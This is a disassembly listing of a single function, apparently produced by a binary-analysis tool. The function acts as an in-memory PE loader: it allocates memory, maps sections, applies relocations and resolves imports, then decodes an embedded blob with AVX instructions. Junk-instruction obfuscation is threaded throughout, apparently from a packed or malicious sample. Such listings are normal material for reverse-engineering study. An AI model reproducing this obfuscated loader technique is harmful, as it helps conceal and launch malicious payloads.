Function at 0x402c90
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push ebp
push ebx
push edi
push esi
mov eax, 0x78414
call fcn.00405cd0
lea ebp, [esp + 0x2c14]
push 0x75800
push 0x41965a
push ebp
call fcn.00406840
add esp, 0xc
rcr edx, 0xdb
sub edi, 0x61
bswap edi
not edx
add edx, 0x27
rcr eax, 0xa5
ror edi, 8
add ebx, 0x1b
and edx, 0x85
sub ebx, 0x2a
imul edx
bswap esi
mov edx, 0xc4
inc edx
not edx
bswap ebx
add esi, 0x1f
dec eax
not edx
dec eax
sbb edi, 0xc3
imul edx
inc edx
not eax
dec edx
sub eax, 0x6f
rol esi, 0x3d
dec ebx
bswap edx
add edx, 0x12
dec ebx
bswap esi
add ebx, 0x9a
bswap edx
mov edx, 0x7a
not eax
mov edi, 0x83
sbb ebx, 0x28
neg eax
not ebx
and edx, 0xca
imul ebx
imul edi
neg edx
add esi, 0x68
not ebx
rcr ebx, 0xd6
neg edi
bswap ebx
ror ebx, 6
or edi, 0x78
inc edi
not eax
imul edx
sub edx, 0x90
not edi
neg ebx
bswap edx
neg eax
add esi, 0x63
imul eax
rol edx, 0x5c
rcr eax, 0xf5
rcl esi, 0xd4
or esi, 0x3d
ror edi, 0x63
and edi, 0x61
bswap eax
bswap eax
ror eax, 0xa0
rcr eax, 0x22
rol esi, 0x72
dec ebx
imul ebx
rcr edx, 0x33
bswap edx
dec esi
add esi, 0xcf
rol esi, 0x36
ror ebx, 0x71
not esi
inc eax
rol ebx, 0x55
inc edi
dec ebx
or eax, 0xb5
imul edx
add edx, 0xc2
or edi, 0x57
imul ebx
not ebx
inc edi
sub ebx, 0xb4
and edi, 0xad
bswap edx
sub eax, 0xa3
rcl eax, 0x9f
bswap eax
rol edi, 0xea
neg edi
rol esi, 0x50
rcr ebx, 0xbe
neg edx
dec edx
rcr edi, 0x6d
bswap ebx
imul esi
not edx
imul edi
or ebx, 0xd2
sbb esi, 0xf1
mov edx, 0xdc
imul edx
neg edx
ror eax, 0x32
sbb esi, 0xba
dec eax
rol eax, 0x21
bswap edi
rol edi, 0x1c
sub eax, 0x3b
dec edx
inc edx
rcr ebx, 0x24
bswap esi
not edx
sub edi, 0xbd
dec esi
inc esi
neg edi
dec esi
or eax, 0x11
add edi, 0x4f
bswap eax
ror edi, 0xc0
neg edx
rol eax, 0x61
dec edi
not eax
mov edx, 0x9c
sbb edx, 0x1a
not esi
add edx, 0x93
rcl edi, 0x16
mov ebx, 0x9d
imul ebx
sbb ebx, 0x95
not esi
rol edi, 0x39
inc eax
and edx, 0x16
sbb edi, 0x80
rcr edi, 0xa
inc eax
add esi, 0x41
add esi, 0x32
ror esi, 0x23
sub esi, 0xc4
not edi
sbb eax, 0xe4
inc edx
or ebx, 0x21
not edi
add eax, 0x38
dec eax
dec eax
sub edx, 0x3f
bswap edx
bswap edx
inc ebx
neg esi
bswap eax
not esi
rcr esi, 0x7a
sbb esi, 0xe8
ror edi, 0x95
ror edi, 0x15
bswap esi
not eax
rcr esi, 0x52
ror eax, 0xcf
bswap esi
bswap edx
sbb esi, 0x65
not edx
bswap edx
neg edi
sbb esi, 0x4a
bswap esi
dec edi
imul edi
imul esi
imul edx
bswap edi
not edx
ror ebx, 0x56
inc edx
and edi, 0xe
mov eax, 0xe2
dec esi
push 0x75800
push ebp
call fcn.00401000
add esp, 8
bswap esi
add edi, 0x6d
add edi, 0x10
bswap edi
not edx
sub esi, 0x74
bswap esi
imul eax
and eax, 0x7c
imul edx
imul ebx
mov edx, 0x2f
dec esi
dec edx
dec eax
imul esi
mov edi, 0xd5
and edx, 0x47
dec edx
imul ebx
rcr edx, 0xf1
sbb edi, 0x61
rol edi, 0x4d
sbb esi, 0xd8
sbb eax, 0xe8
ror edi, 0x59
rcr edx, 0x19
rcl eax, 0xd6
dec eax
rcl eax, 0xe6
inc eax
bswap ebx
rcl edi, 0x1b
rol ebx, 0xd7
rol esi, 0xde
dec edi
or esi, 0x18
not esi
bswap ebx
mov esi, 0x29
inc eax
rol ebx, 0xef
not ebx
or ebx, 0xa6
sbb eax, 0x37
rcl edi, 0x9f
sub eax, 0xda
neg ebx
rcl eax, 0xe4
and eax, 0x10
mov edx, dword [esp + 0x2c50]
mov eax, 1
cmp dword [edx + ebp], 0x4550
jne 0x405c02
mov ecx, edx
add ecx, ebp
mov edx, dword [ecx + 0xa0]
mov eax, dword [ecx + 0x50]
mov dword [esp + 4], ecx
mov ecx, dword [ecx + 0xa4]
mov dword [esp + 8], ecx
mov dword [esp + 0x30], edx
test ecx, ecx
je 0x402fb6
push 4
push 0x3000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
jmp 0x402fdb
push 4
push 0x3000
push eax
mov edi, dword [esp + 0x10]
push dword [edi + 0x34]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, 2
cmp dword [edi + 0x34], ecx
jne 0x405c02
mov dword [esp], ecx
mov esi, 0xd4
imul edi
inc edx
and eax, 0x93
sbb ebx, 0x12
rcr edi, 0x5a
dec ebx
neg eax
sbb eax, 0
rol edi, 0xc2
inc edi
rol eax, 0x81
inc eax
rol ebx, 0xb5
add edx, 0xb5
rol edx, 0x28
inc eax
ror ebx, 0xce
add eax, 0xee
bswap eax
rol eax, 0x37
inc eax
not ebx
sub edi, 0x11
rcl edx, 0xef
rol edi, 0x66
dec edi
dec edx
or esi, 0xa1
neg edx
inc ebx
dec edi
bswap edx
dec edi
dec edx
rcr esi, 0xa4
inc edx
imul edx
rcl edi, 0xef
sub esi, 0
and ebx, 0xb1
dec esi
neg edx
not ebx
ror edi, 0x20
add edx, 0xe8
inc esi
imul ebx
inc edx
not esi
push 0x400
push ebp
push ecx
call fcn.00406840
add esp, 0xc
imul eax
sub esi, 0x47
not edx
rcl eax, 7
add edx, 0x5d
sub eax, 0xaf
mov ebx, 0x77
or ebx, 0x73
rcl edi, 0xeb
sub edi, 0x47
not eax
sub esi, 0xd0
inc edi
sbb esi, 0xd
neg esi
inc eax
inc eax
dec edi
add edx, 0xff
dec eax
mov ebx, 0x53
not edi
ror ebx, 0xf7
mov esi, 0x7e
inc edx
sbb ebx, 0x21
add esi, 3
inc eax
rol edi, 0xff
dec ebx
or edi, 0x3a
bswap edx
sbb edi, 0x8e
rcr eax, 0x32
not esi
dec eax
sub esi, 0xc8
neg edi
sbb edi, 0xd5
ror edx, 0xe2
not esi
rcl eax, 0x54
or edx, 0x65
sbb edx, 0x95
inc ebx
and ebx, 0xc6
bswap esi
inc eax
rcr eax, 0x8b
neg edi
and esi, 0x33
sbb eax, 0x3d
not eax
rcl ebx, 0xf2
or eax, 0xb6
not esi
imul edx
dec eax
not edi
ror ebx, 0xae
and edx, 0xf5
ror esi, 0x85
mov esi, 0x7c
ror edx, 0x89
rcl esi, 0x4f
or edx, 4
neg edi
or edi, 0xde
add edi, 0x22
inc edx
bswap edx
inc eax
mov edx, 0xae
and edi, 0x7f
mov edx, 0x5e
add eax, 0x12
sbb eax, 0x57
or esi, 0x5c
rcl eax, 0x54
rcr eax, 0xd2
inc ebx
rcr eax, 0xc5
neg edx
imul ebx
imul edx
or ebx, 0xfd
dec edi
bswap edi
not edi
rcr edx, 0x85
and edx, 0xa3
imul esi
or edi, 0xf8
add ebx, 0xa2
inc ebx
mov eax, 0xd3
not esi
rcl esi, 0x89
ror esi, 0xdc
not esi
rol edi, 0xb7
imul edi
imul esi
rol edi, 0x4b
bswap edi
imul edx
dec eax
or edx, 0xda
dec eax
bswap edx
sbb eax, 0x6c
neg esi
or esi, 0x3c
sub edi, 0x61
not eax
add ebx, 0xa6
inc ebx
or esi, 0x1d
rcl ebx, 0x76
dec eax
rcl eax, 0xfa
neg eax
or ebx, 0xaf
bswap edi
sbb eax, 0x4f
rcr edi, 0xb8
inc edi
inc esi
rol esi, 0xc5
neg esi
not eax
neg esi
mov eax, 0x52
imul edx
inc ebx
rcl edx, 0x8e
imul edx
ror esi, 0x60
mov esi, 0xd
dec eax
bswap ebx
mov ebx, 0x76
dec ebx
mov edx, 0x3e
not esi
dec ebx
sub edx, 0xea
mov edx, 0x77
neg esi
neg ebx
not esi
rcr ebx, 0x25
dec eax
sbb ebx, 0x8d
neg edi
not esi
neg edx
or esi, 0x58
dec eax
bswap edx
imul esi
dec eax
rol eax, 0x16
rcl ebx, 0x44
or edx, 0x31
add edx, 0x53
neg edi
rcl edi, 0xa9
not ebx
rcr edi, 0x44
mov edx, 0xb6
bswap edx
not ebx
rol edi, 0x65
sub eax, 0x8b
bswap eax
add edi, 0xbe
sub esi, 0x7b
inc esi
and esi, 0xd0
mov eax, 0xcb
add eax, 0x32
bswap ebx
ror ebx, 0x63
ror edi, 0x96
rcr esi, 0x50
imul edx
rcr edx, 0x9d
ror esi, 0x59
bswap ebx
neg esi
not eax
ror ebx, 0xf
rol edi, 0x21
sbb ebx, 0xd5
dec edi
not eax
inc ebx
dec ebx
sub edi, 0x22
or ebx, 0x8f
add ebx, 0x81
inc eax
imul edi
mov eax, 0x5a
imul ebx
not ebx
and edi, 0x46
sbb ebx, 0xc0
bswap eax
rol edi, 0xb4
or esi, 0x1c
rol edi, 0x52
rcr ebx, 0xd3
neg ebx
rol ebx, 0x5d
dec eax
inc eax
imul ebx
rol edx, 0x99
or edi, 0x46
rcr edi, 0x18
rol edi, 0xaa
neg esi
neg esi
inc edi
add edi, 0xef
imul esi
add edx, 0x5e
or esi, 0x6f
add eax, 0xf3
imul eax
bswap esi
rcr esi, 0xb6
rol ebx, 0x7b
inc esi
rol edx, 0xac
rcr esi, 0x95
imul eax
dec eax
dec ebx
not edx
not eax
add edi, 0xe1
or esi, 0x90
dec edi
bswap edx
neg edx
rol ebx, 0xbd
rcl esi, 0xfc
mov ecx, dword [esp + 4]
mov ebx, dword [esp]
movzx eax, word [ecx + 0x14]
cmp word [ecx + 6], 0
lea eax, [ecx + eax + 0x18]
mov dword [esp + 0xc], eax
je 0x403386
mov eax, dword [esp + 0xc]
xor edi, edi
lea esi, [eax + 0x14]
nop word cs:[eax + eax]
mov eax, dword [esi - 8]
mov ecx, dword [esi]
add eax, ebx
add ecx, ebp
push dword [esi - 4]
push ecx
push eax
call fcn.00406840
add esp, 0xc
mov eax, dword [esp + 4]
inc edi
add esi, 0x28
movzx eax, word [eax + 6]
cmp edi, eax
jb 0x403360
or eax, 0x6e
neg ebx
neg edx
inc edi
neg esi
bswap edi
sbb eax, 0x41
or ebx, 0x63
sbb edi, 0x25
neg ebx
mov ebx, 0x79
inc edx
bswap edx
inc eax
inc ebx
or edi, 0xda
not edi
inc edx
sub ebx, 0xd
ror esi, 0xda
or edx, 0x46
bswap ebx
imul esi
imul edx
or edi, 0x86
and eax, 0x23
dec esi
dec edx
ror esi, 0xe1
or ebx, 0xf6
neg edx
rcr esi, 0xa
or edx, 0x14
dec edi
and eax, 0x8d
sbb edi, 0x23
not edx
ror eax, 0x4e
or esi, 0x12
not edi
rcr esi, 0xcc
not edx
not edx
sub esi, 0xad
ror esi, 0xf8
add esi, 0xb8
bswap ebx
bswap edx
sub edx, 0x5f
sub edi, 0x34
mov ebx, dword [esp]
mov ecx, dword [esp + 4]
mov ebp, dword [esp + 0x30]
mov eax, ebx
sub eax, dword [ecx + 0x34]
je 0x403578
cmp dword [esp + 8], 0
je 0x403578
add ebp, ebx
xor ecx, ecx
jmp 0x403452
mov ecx, dword [esp + 0x10]
add ecx, edi
mov ebp, edx
cmp ecx, dword [esp + 8]
jae 0x403578
mov edi, dword [ebp + 4]
lea edx, [ebp + 8]
mov dword [esp + 0x10], ecx
lea esi, [edi - 8]
cmp esi, 2
jb 0x403440
mov edi, dword [ebp]
shr esi, 1
mov dword [esp + 0x30], ebp
lea ecx, [esi - 1]
add edi, ebx
cmp ecx, 7
mov ecx, dword [esp + 0x10]
jae 0x4034b0
and esi, 7
jne 0x403496
mov esi, dword [esp + 0x30]
mov ebx, dword [esp]
mov edi, dword [esi + 4]
jmp 0x403444
add edx, 2
dec esi
je 0x403480
movzx ebx, word [edx]
test ebx, 0x3000
je 0x403490
and ebx, 0xfff
add dword [edi + ebx], eax
jmp 0x403490
mov ebx, esi
and ebx, 0xfffffff8
jmp 0x4034c8
add edx, 0x10
add ebx, 0xfffffff8
je 0x40347b
movzx ebp, word [edx]
test ebp, 0x3000
je 0x4034dc
and ebp, 0xfff
add dword [edi + ebp], eax
movzx ebp, word [edx + 2]
test ebp, 0x3000
je 0x4034f1
and ebp, 0xfff
add dword [edi + ebp], eax
movzx ebp, word [edx + 4]
test ebp, 0x3000
je 0x403506
and ebp, 0xfff
add dword [edi + ebp], eax
movzx ebp, word [edx + 6]
test ebp, 0x3000
je 0x40351b
and ebp, 0xfff
add dword [edi + ebp], eax
movzx ebp, word [edx + 8]
test ebp, 0x3000
je 0x403530
and ebp, 0xfff
add dword [edi + ebp], eax
movzx ebp, word [edx + 0xa]
test ebp, 0x3000
je 0x403545
and ebp, 0xfff
add dword [edi + ebp], eax
movzx ebp, word [edx + 0xc]
test ebp, 0x3000
je 0x40355a
and ebp, 0xfff
add dword [edi + ebp], eax
movzx ebp, word [edx + 0xe]
test ebp, 0x3000
je 0x4034c0
and ebp, 0xfff
add dword [edi + ebp], eax
jmp 0x4034c0
rol eax, 0x79
inc eax
not edi
and edi, 0x7e
neg esi
mov edi, 0x33
add edx, 0xe5
imul esi
dec esi
and edi, 0x47
not edi
sub ebx, 0x4d
rcr edx, 0x93
rcl edx, 0x3d
mov ebx, 0xf5
sbb edx, 0x38
ror edx, 0x99
inc edi
ror ebx, 0xa
mov ebx, 0x92
rcl eax, 0xb4
inc edi
mov eax, 0xcf
rcr esi, 0x63
inc eax
bswap eax
rcr edx, 0x98
imul esi
mov edx, 0x90
bswap ebx
rol edx, 0xc9
inc ebx
dec eax
or edx, 0x30
not esi
or edx, 0xfc
inc ebx
inc eax
bswap eax
inc ebx
and edi, 0x4d
bswap edi
not esi
or esi, 0x70
dec edx
not esi
neg ebx
imul edi
rcr eax, 0x1d
add eax, 0x25
mov ebx, 0x33
neg ebx
ror ebx, 0xb6
rcr esi, 0xf9
rol ebx, 0x4c
inc edx
or ebx, 0x8c
and eax, 0xbc
imul edx
sub ebx, 0xb5
ror eax, 0x85
dec ebx
not edi
inc edi
rcr esi, 0xea
imul edx
inc eax
or edi, 0x46
rcl edi, 0xde
not ebx
add edx, 0xde
not edi
sub edx, 0x3c
bswap edx
ror edi, 0x38
dec edx
rcl edx, 0xf2
dec ebx
rcr edx, 8
add ebx, 0x82
inc edi
and edi, 0xc6
not edi
sbb ebx, 0xf5
dec edi
imul eax
bswap edi
neg ebx
rcl edx, 0xf8
add esi, 0xb3
imul eax
rcr edi, 0xb5
rcl ebx, 0x81
imul ebx
rcl edi, 0xc6
rol ebx, 0x5d
add edi, 0xb2
neg edx
not eax
and edi, 0xcc
sbb esi, 0x3b
add ebx, 0xd8
sub edi, 0x80
not edx
not edx
bswap ebx
imul eax
not esi
rcr esi, 0xc1
mov edi, 0xf1
imul edi
rcr edi, 0xa9
dec edi
ror edx, 0x6c
mov esi, 0x8c
mov eax, 0x57
sub esi, 0xba
bswap eax
rcr ebx, 0xed
neg esi
imul edi
dec edi
dec esi
bswap edi
rol esi, 0x34
ror edi, 0xe4
dec eax
rol esi, 0x25
dec esi
dec edx
bswap esi
not edi
or eax, 0x4e
imul edi
or edi, 0x84
sbb eax, 0x52
rcl eax, 0x97
and ebx, 0x80
or edi, 0x8e
or edx, 0xef
rcr edx, 0x2b
sbb eax, 0x68
bswap eax
imul edx
sub edx, 0x38
ror edi, 0x8f
or edi, 0x80
or eax, 0x30
sbb edi, 0xd4
sub edx, 0xab
mov eax, dword [esp + 4]
mov esi, dword [esp]
mov ecx, dword [eax + 0x80]
cmp dword [ecx + esi + 0x10], 0
je 0x4037f5
lea eax, [ecx + esi + 0x10]
add ecx, esi
xor edx, edx
mov dword [esp + 8], ecx
mov dword [esp + 0x10], eax
jmp 0x40377e
mov edx, dword [esp + 0x30]
mov ecx, dword [esp + 8]
inc edx
lea eax, [edx + edx*4]
lea esi, [ecx + eax*4 + 0x10]
cmp dword [ecx + eax*4 + 0x10], 0
mov dword [esp + 0x10], esi
mov esi, dword [esp]
je 0x4037f5
lea eax, [edx + edx*4]
mov dword [esp + 0x30], edx
mov eax, dword [ecx + eax*4 + 0xc]
add eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x403760
mov esi, eax
mov eax, dword [esp + 0x10]
mov ebx, dword [eax]
mov eax, dword [esp]
mov ebp, dword [ebx + eax]
test ebp, ebp
je 0x403760
mov edi, dword [esp]
add ebx, edi
add ebx, 4
jmp 0x4037d5
mov ecx, dword [esp + 0x10]
mov ecx, dword [ecx]
mov dword [edi + ecx], eax
add edi, 4
mov ebp, dword [ebx]
add ebx, 4
test ebp, ebp
je 0x403760
movzx eax, bp
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x4037c0
mov eax, dword [esp]
lea eax, [ebp + eax + 2]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
jmp 0x4037c0
lea eax, [esp + 0xcc]
push 0x2b48
push 0x48ee5a
push eax
call fcn.00406840
add esp, 0xc
vmovdqa ymm0, ymmword [0x4161e0]
xor eax, eax
nop dword [eax]
vpbroadcastb ymm4, byte [0x416ade]
vpbroadcastb ymm2, byte [0x416adf]
vpbroadcastb ymm3, byte [0x416ae0]
vpaddb ymm1, ymm0, ymm0
vpaddb ymm7, ymm4, ymmword [esp + eax + 0xcc]
vpbroadcastb ymm4, byte [0x416ae1]
vmovdqu ymmword [esp + 0x10], ymm1
vpsrlw ymm6, ymm7, 6
vpsllw ymm7, ymm7, 2
vpandn ymm6, ymm2, ymm6
vpand ymm7, ymm7, ymm2
vpbroadcastb ymm2, byte [0x416ae2]
vpor ymm6, ymm7, ymm6
vpaddb ymm6, ymm6, ymm4
vpcmpeqd ymm4, ymm4, ymm4
vpsrlw ymm7, ymm6, 3
vpsllw ymm6, ymm6, 5
vpandn ymm7, ymm2, ymm7
vpand ymm6, ymm6, ymm2
vpor ymm6, ymm6, ymm7
vpxor ymm6, ymm6, ymm4
vpbroadcastb ymm4, byte [0x416ae3]
vpsrlw ymm7, ymm6, 7
vpaddb ymm6, ymm6, ymm6
vpand ymm7, ymm7, ymm4
vmovdqa ymm5, ymm4
vpbroadcastb ymm4, byte [0x416ae4]
vpor ymm6, ymm6, ymm7
vpaddb ymm6, ymm6, ymm0
vpsubb ymm6, ymm4, ymm6
vpsrlw ymm7, ymm6, 3
vpsllw ymm6, ymm6, 5
vpandn ymm7, ymm2, ymm7
vpand ymm6, ymm6, ymm2
vpor ymm6, ymm6, ymm7
vpsubb ymm6, ymm6, ymm0
vpaddb ymm6, ymm6, ymm2
vpsrlw ymm7, ymm6, 1
vpsllw ymm6, ymm6, 7
vpandn ymm7, ymm3, ymm7
vpand ymm6, ymm6, ymm3
vpor ymm6, ymm6, ymm7
vpaddb ymm6, ymm6, ymmword [0x4945c0]
vpsrlw ymm7, ymm6, 7
vpaddb ymm6, ymm6, ymm6
vpand ymm7, ymm7, ymm5
vpor ymm6, ymm6, ymm7
vpbroadcastb ymm7, byte [0x416ae5]
vpaddb ymm6, ymm1, ymm6
vpaddb ymm6, ymm6, ymmword [0x4945e0]
vpsrlw ymm4, ymm6, 5
vpsllw ymm6, ymm6, 3
vpandn ymm4, ymm7, ymm4
vpand ymm6, ymm6, ymm7
vpor ymm4, ymm6, ymm4
vpsubb ymm4, ymm4, ymm0
vpsrlw ymm6, ymm4, 7
vpaddb ymm4, ymm4, ymm4
vpand ymm6, ymm6, ymm5
vpbroadcastb ymm5, byte [0x416ae6]
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x416ae7]
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm3, ymm6
vpand ymm4, ymm4, ymm3
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x416ae8]
vpaddb ymm4, ymm1, ymm4
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm3, ymm6
vpand ymm4, ymm4, ymm3
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm0, ymm4
vpaddb ymm6, ymm4, ymmword [str.________________________________]
vpsllw ymm4, ymm4, 6
vpand ymm4, ymm4, ymm5
vpsrlw ymm6, ymm6, 2
vpandn ymm6, ymm5, ymm6
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x416ae9]
vpaddb ymm4, ymm4, ymm0
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 7
vpand ymm6, ymm6, ymmword [0x416240]
vpaddb ymm4, ymm4, ymm4
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm0, ymm4
vpaddb ymm4, ymm4, ymmword [0x4166c0]
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpor ymm4, ymm4, ymm6
vpxor ymm4, ymm4, ymmword [0x416aa0]
vpaddb ymm4, ymm0, ymm4
vpaddb ymm4, ymm4, ymmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
vpsrlw ymm6, ymm4, 3
vpsllw ymm4, ymm4, 5
vpandn ymm6, ymm2, ymm6
vpand ymm4, ymm4, ymm2
vmovdqa ymm2, ymm5
vpcmpeqd ymm2, ymm2, ymm2
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm0, ymm4
vpaddb ymm4, ymm4, ymmword [0x494620]
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm3, ymm6
vpand ymm4, ymm4, ymm3
vpor ymm4, ymm4, ymm6
vpaddb ymm6, ymm4, ymmword [0x494640]
vpsllw ymm4, ymm4, 7
vpand ymm4, ymm4, ymm3
vpsrlw ymm6, ymm6, 1
vpandn ymm6, ymm3, ymm6
vpbroadcastb ymm3, byte [0x416ae2]
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm4, ymm0
vpsrlw ymm6, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm6, ymm5, ymm6
vpand ymm4, ymm4, ymm5
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x416aea]
vpaddb ymm4, ymm4, ymm6
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm1, ymm4
vpaddb ymm4, ymm4, ymmword [str.________________________________yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy]
vpbroadcastb ymm1, byte [0x416adf]
vpsrlw ymm6, ymm4, 6
vpsllw ymm4, ymm4, 2
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vpbroadcastb ymm1, byte [0x416ae0]
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x416aeb]
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm6, ymm5, ymm6
vpand ymm4, ymm4, ymm5
vpsubb ymm5, ymm0, ymm2
vpor ymm4, ymm4, ymm6
vmovdqu ymmword [esp + 0x30], ymm5
vpxor ymm4, ymm4, ymm2
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm0, ymm4
vpsrlw ymm6, ymm4, 3
vpsllw ymm4, ymm4, 5
vpandn ymm6, ymm3, ymm6
vpand ymm4, ymm4, ymm3
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x416aec]
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm5, ymm4
vpcmpeqd ymm5, ymm5, ymm5
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x416aed]
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymmword [0x4946a0]
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpor ymm4, ymm4, ymm6
vpxor ymm4, ymm4, ymm2
vpbroadcastb ymm2, byte [0x416ae3]
vpaddb ymm4, ymm0, ymm4
vpaddb ymm4, ymm4, ymmword [0x4946c0]
vpsrlw ymm6, ymm4, 7
vpaddb ymm4, ymm4, ymm4
vpand ymm6, ymm6, ymm2
vpor ymm4, ymm4, ymm6
vpaddb ymm6, ymm0, ymm5
vpaddb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 7
vpaddb ymm4, ymm4, ymm4
vpand ymm6, ymm6, ymm2
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm0, ymm4
vpaddb ymm6, ymm4, ymmword [0x4164a0]
vpsllw ymm4, ymm4, 7
vpand ymm4, ymm4, ymm1
vpsrlw ymm6, ymm6, 1
vpandn ymm6, ymm1, ymm6
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x416aee]
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 3
vpsllw ymm4, ymm4, 5
vpandn ymm6, ymm3, ymm6
vpand ymm4, ymm4, ymm3
vpbroadcastb ymm3, byte [0x416adf]
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymm0
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpor ymm4, ymm4, ymm6
vpxor ymm4, ymm4, ymm5
vpsrlw ymm6, ymm4, 6
vpsllw ymm4, ymm4, 2
vpandn ymm6, ymm3, ymm6
vpand ymm4, ymm4, ymm3
vmovdqa ymm5, ymm3
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x416aef]
vpaddb ymm4, ymm4, ymm0
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 6
vpsllw ymm4, ymm4, 2
vpandn ymm6, ymm3, ymm6
vpand ymm4, ymm4, ymm3
vpbroadcastb ymm3, byte [0x416aea]
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm3, ymm4
vpbroadcastb ymm3, byte [0x416ae6]
vpsrlw ymm6, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm6, ymm3, ymm6
vpand ymm4, ymm4, ymm3
vpxor xmm3, xmm3, xmm3
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymmword [0x4946e0]
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x416af0]
vpaddb ymm6, ymm0, ymm6
vpaddb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 7
vpaddb ymm4, ymm4, ymm4
vpand ymm6, ymm6, ymm2
vpor ymm4, ymm4, ymm6
vpxor ymm4, ymm4, ymmword [0x416aa0]
vmovdqu ymm2, ymmword [esp + 0x10]
vpsubb ymm4, ymm4, ymm0
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x416af1]
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 6
vpsllw ymm4, ymm4, 2
vpandn ymm6, ymm5, ymm6
vpand ymm4, ymm4, ymm5
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm4, ymm2
vpaddb ymm4, ymm4, ymmword [0x416600]
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm3, ymm4
vpcmpeqd ymm3, ymm3, ymm3
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vmovdqa ymm1, ymm0
vpor ymm4, ymm4, ymm6
vpxor ymm4, ymm4, ymm3
vpaddb ymm4, ymm0, ymm4
vpbroadcastb ymm0, byte [0x416ae6]
vpsrlw ymm6, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm6, ymm0, ymm6
vpand ymm4, ymm4, ymm0
vpor ymm4, ymm4, ymm6
vpxor ymm4, ymm4, ymm3
vmovdqa ymm3, ymm0
vpsrlw ymm6, ymm4, 6
vpsllw ymm4, ymm4, 2
vpandn ymm6, ymm5, ymm6
vpand ymm4, ymm4, ymm5
vpor ymm4, ymm4, ymm6
vpaddb ymm6, ymm4, ymmword [str.tttttttttttttttttttttttttttttttt________________________________]
